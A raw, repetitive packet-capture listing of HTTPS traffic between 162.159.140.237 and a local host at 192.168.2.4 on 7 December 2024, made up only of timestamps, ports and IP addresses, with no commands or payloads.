                                                                                                                                                                  Dec 7, 2024 15:43:31.244306087 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.244324923 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.244342089 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.251265049 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.251280069 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.251338005 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.251352072 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.251393080 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.258235931 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.258253098 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.258310080 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.258322001 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.258344889 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.258364916 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.265290022 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.265311956 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.265355110 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.265366077 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.265394926 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.265414000 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.271384001 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.271400928 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.271464109 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.271475077 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.271516085 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.277934074 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.277949095 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.278009892 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.278021097 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.278059959 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.284929037 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.284945011 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.285005093 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.285015106 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.285053968 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.291908026 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.291923046 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.291963100 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.291971922 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.291996002 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.292020082 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.437470913 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.437489033 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.437547922 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.437571049 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.437599897 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.437613964 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.443804979 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.443820953 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.443908930 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.443922997 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.443965912 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.448535919 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.448576927 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.448596954 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.448605061 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.448637962 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.455501080 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.455518961 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.455565929 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.455574989 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.455615997 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.463013887 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.463032007 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.463079929 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.463090897 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.463685036 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.463747025 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.463754892 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.463802099 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.472342014 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.472362995 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.472418070 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.472426891 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.472466946 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.477236986 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.477252007 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.477298021 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.477313995 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.477345943 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.477369070 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.484189987 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.484211922 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.484251976 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.484261990 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.484292984 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.484311104 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.628918886 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.628961086 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.628998995 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.629030943 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.629045963 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.630018950 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.630074024 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.630084991 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.630126953 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.636413097 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.636431932 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.636482000 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.636492014 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.636526108 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.636538982 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.643229961 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.643249989 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.643294096 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.643304110 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.643330097 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.643353939 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.650327921 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.650343895 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.650403023 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.650413036 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.650455952 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.655287981 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.655335903 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.655354023 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.655363083 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.655390978 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.656383991 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.656431913 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.656440973 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.656591892 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.662889004 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.662906885 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.662955999 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.662964106 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.662996054 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.663008928 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.670382977 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.670397997 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.670445919 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.670455933 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.670511007 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.676897049 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.676913023 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.676964998 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.676974058 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.677000999 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.677016020 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.822318077 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.822335958 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.822407961 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.822424889 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.822465897 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.828547001 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.828563929 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.828608990 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.828617096 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.828661919 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.836261988 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.836280107 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.836335897 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.836345911 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.836386919 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.842314959 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.842334986 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.842385054 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.842392921 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.842422962 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.842446089 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.849381924 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.849405050 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.849452019 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.849458933 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.849486113 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.849505901 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.855901957 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.855917931 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.855957031 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.855966091 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.855999947 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.856009960 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.862832069 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.862853050 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.862910986 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.862920046 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.862958908 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.869888067 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.869910002 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.869962931 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.869971991 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:31.870001078 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:31.870037079 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.012533903 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.012572050 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.012608051 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.012625933 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.012638092 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.014524937 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.014578104 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.014585972 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.014622927 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.019546032 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.019581079 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.019614935 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.019622087 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.019650936 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.025706053 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.025722980 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.025779009 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.025787115 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.025821924 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.030730963 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.030761957 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.030783892 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.030800104 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.030812979 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.030837059 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.037766933 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.037782907 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.037822962 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.037831068 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.037842989 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.037872076 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.039679050 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.039726019 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.040981054 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.041037083 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.048259974 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.048278093 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.048332930 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.048341990 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.048382044 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.054424047 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.054441929 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.054506063 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.054513931 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.054532051 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.054563999 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.061458111 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.061475039 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.061531067 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.061542988 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.061561108 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.061587095 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.213630915 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.213670015 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.213716030 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.213737965 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.213748932 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.214273930 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.214324951 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.214333057 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.214373112 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.221446991 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.221463919 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.221543074 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.221551895 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.221595049 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.228902102 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.228919983 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.229001999 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.229017973 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.229058981 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.235758066 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.235779047 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.235824108 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.235831976 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.235873938 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.235882998 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.241647959 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.241663933 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.241740942 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.241749048 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.241787910 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.248080969 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.248095036 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.248157024 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.248166084 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.248205900 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.251946926 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.252011061 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.252017975 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.259273052 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.259289980 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.259354115 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.259363890 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.259401083 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.404053926 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.404076099 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.404126883 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.404146910 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.404156923 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.407886028 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.407933950 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.407943964 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.413778067 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.413798094 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.413882017 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.413892031 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.413923025 CET49731443192.168.2.4162.159.140.237
                                                                                                                                                                  Dec 7, 2024 15:43:32.420711994 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.420726061 CET44349731162.159.140.237192.168.2.4
                                                                                                                                                                  Dec 7, 2024 15:43:32.420780897 CET49731443192.168.2.4162.159.140.237
